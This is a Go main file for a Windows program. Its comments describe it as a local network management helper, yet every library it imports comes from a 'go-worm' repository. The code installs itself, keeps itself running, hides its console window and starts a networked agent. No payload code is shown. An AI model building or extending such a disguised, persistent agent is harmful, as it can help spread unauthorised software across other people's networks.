// win64_mp is a Windows-only, local network management helper.
//
// Build for Windows x64:
//
//	GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
//
// A CMD window appears on launch. Use -background to start without a window:
//
//	win64_mp.exe -background
package main

import (
	"flag"

	"tea.chunkbyte.com/kato/go-worm/lib/agent"
	"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
	"tea.chunkbyte.com/kato/go-worm/lib/helpers"
	"tea.chunkbyte.com/kato/go-worm/lib/install"
	"tea.chunkbyte.com/kato/go-worm/lib/instance"
)

func main() {
	defer crashlog.Recover()

	background := flag.Bool("background", false, "run without a console window")
	ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
	flag.Parse()

	if err := install.Ensure(); err != nil {
		die(err)
	}

	if *ensure {
		if err := instance.EnsureRunning(); err != nil {
			die(err)
		}
		return
	}

	if *background {
		if err := instance.Detach(); err != nil {
			die(err)
		}
		return
	}

	a, err := agent.New()
	if err != nil {
		die(err)
	}
	defer a.Close()

	if err := a.Serve(); err != nil {
		die(err)
	}
}

func die(err error) {
	crashlog.RecordError(err)
	helpers.Log.Fatal(err)
}